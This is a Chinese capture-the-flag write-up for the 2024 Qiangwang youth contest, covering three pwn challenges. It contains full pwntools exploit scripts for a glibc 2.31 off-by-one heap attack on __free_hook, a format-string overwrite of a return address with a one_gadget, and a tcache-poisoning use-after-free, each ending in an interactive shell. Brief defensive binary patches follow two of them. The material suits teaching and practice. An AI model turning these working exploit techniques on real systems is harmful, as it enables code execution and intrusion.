2024强网青少年
线上
heap
2.31的of by one,add free,show free菜单函数
add和edit都有末尾置零,show直接被截断,没办法泄露出libc
这题的难点也就是泄露出libc
解题思路:
先free7个堆块,前6个进入tcachebin,第7个会进入unsortdbin,之后堆块切割,将一个大堆块分为小堆块,并且留一部分堆块在unsortdbin中,这样每个小堆块中都有libc地址,但会被\x00截断,修改小堆块的size,将申请的小堆块合并,并且可以修改在unsotrdbin中的prsize,size
这样可以show出libc地址
之后malloc会报错,提前布置好堆块打of by one attack攻击free_hook,获取shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 from pwn import *from struct import packimport ctypesfrom ae64 import AE64def bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sb (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6' ) elf=ELF('./pwn' ) p = process('./pwn' ) def add (size,content ): rl("Choose an option: " ) sl(str (1 )) rl("Enter the size of your story (in hex, between 0x28 and 0xb0):" ) sl(hex (size)) rl("characters): " ) sl(content) def free (i ): rl("Choose an option: " ) sl(str (2 )) rl(": " ) sl(str (i)) def show (): rl("Choose an option: " ) sl(str (4 )) def edit (i,content ): rl("Choose an option: " ) sl(str (3 )) rl(": " ) sl(str (i)) rl(": " ) sl(content) for i in range (4 ): add(0x48 ,b'a' ) free(3 ) free(2 ) free(1 ) free(0 ) for i in range (10 ): add(0xb0 ,b'a' ) for i in range (7 ): free(i) free(7 ) add(0x28 ,b'a' ) add(0x28 ,b'a' ) add(0x28 ,b'a' ) edit(0 ,b'a' *(0x28 )+p8(0x71 )) free(1 ) add(0x60 ,b'a' ) edit(1 ,b'a' *0x61 ) show() libc_base=get_addr64()-2018145 li(hex (libc_base)) malloc_hook,free_hook=get_hook() system,bin_sh=get_sb() ''' edit(1,b'\x00'*(0x28)+p64(0x31)+b'\x00'*(0x28)+p64(0x31)) free(2) #edit(1,b'/bin/sh\x00'+p64(0)*4+p64(0x31)+p64(free_hook)) ''' add(0x48 ,b'a' ) add(0x48 ,b'a' ) add(0x48 ,b'a' ) add(0x48 ,b'a' ) edit(3 ,b'\x00' *(0x48 )+p8(0xa1 )) free(4 ) add(0x98 ,b'a' ) free(6 ) free(5 ) edit(4 ,b'\x00' *0x48 +p64(0x51 )+p64(free_hook)) add(0x48 ,b'/bin/sh\x00' ) add(0x48 ,p64(system)) free(5 ) inter()
线下awdp
smart_home
攻击:
无限次fmt,字节限制为0x10
非栈上打指针跳转,攻击rbp+8,改为one_gadet,3退出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *from struct import packimport ctypesfrom ae64 import AE64def bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sb (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6' ) elf=ELF('./pwn' ) p = process('./pwn' ) rl("Enter your choice:" ) payload=b'51%9$p%11$p' s(payload) rl(b'0x' ) libc_base=int (p.recv(12 ),16 )-147587 bug() li(hex (libc_base)) rl(b'0x' ) stack=int (p.recv(12 ),16 )-240 -2 li(hex (stack+2 )) one_gadget=libc_base+0xe3b01 -2 li(hex (one_gadget+2 )) li(hex (one_gadget>>16 &0xffff )) pause() rl("Enter your choice:" ) payload=b'51%' +str (stack&0xffff ).encode() +b'c%11$hn' li(hex (len (payload))) s(payload) rl("Enter your choice:" ) pay3=b'51%' +str (one_gadget&0xffff ).encode()+b'c%39$hn' s(pay3) stack=stack+2 rl("Enter your choice:" ) pay4=b'51%' +str (stack&0xffff ).encode()+b'c%11$hn' s(pay4) rl("Enter your choice:" ) pay5=b'51%' +str (one_gadget>>16 &0xffff -2 ).encode()+b'c%39$hn' s(pay5) rl("Enter your choice:" ) sl(str (3 )) inter()
防御:
找到fmt漏洞的汇编:
将call _printf改为call _puts:
youth_memory_album
攻击:
蜀道山mini_hook的弱化版,基本同样的打法,攻击tcachebin的指针区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 from pwn import *from struct import packimport ctypesfrom ae64 import AE64def bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sb (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('./libc.so.6' ) elf=ELF('./pwn' ) p = process('./pwn' ) rl("Please input your name:" ) sl(b'a' ) def add (idx,content ): rl("Your choice: " ) sl(str (1 )) rl("Album entry number: " ) sl(str (idx)) rl("Write your memory: " ) s(content) def edit (idx,content ): rl("Your choice: " ) sl(str (2 )) rl("Album entry number to edit: " ) sl(str (idx)) rl("Edit your memory: " ) sl(content) def free (idx ): rl("Your choice: " ) sl(str (4 )) rl("Album entry number to delete: " ) sl(str (idx)) def show (idx ): rl("Your choice: " ) sl(str (3 )) rl("Album entry number to view: " ) sl(str (idx)) add(0 ,b'a' ) add(1 ,b'a' ) add(2 ,b'b' ) add(3 ,b'b' ) free(0 ) free(1 ) show(1 ) a=p.recv(16 ) heap_base=u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x5b0 li(hex (heap_base)) edit(1 ,p64(heap_base+0x30 )) add(4 ,b'a' ) add(5 ,p64(0 )*5 +p64(0x7000000000000 )) add(6 ,b'a' ) add(7 ,b'a' ) free(6 ) free(7 ) edit(7 ,p64(heap_base+0x10 )) add(8 ,b'b' ) add(9 ,b'b' ) free(9 ) show(9 ) libc_base=get_addr64()-2018272 li(hex (libc_base)) malloc_hook,free_hook=get_hook() system,bin_sh=get_sb() edit(9 ,p64(0x30000 )) free(3 ) free(2 ) edit(2 ,p64(free_hook)) add(10 ,b'/bin/sh\x00' ) add(11 ,p64(system)) bug() free(10 ) inter()
防御:
free函数内存在uaf漏洞
在en_frame段上抄汇编即可:
使用r8当介质,将chunklist[index]置零,最后跳转到call _free的下一段汇编
同时将call _free改为call en_frame该段地址
成功防御: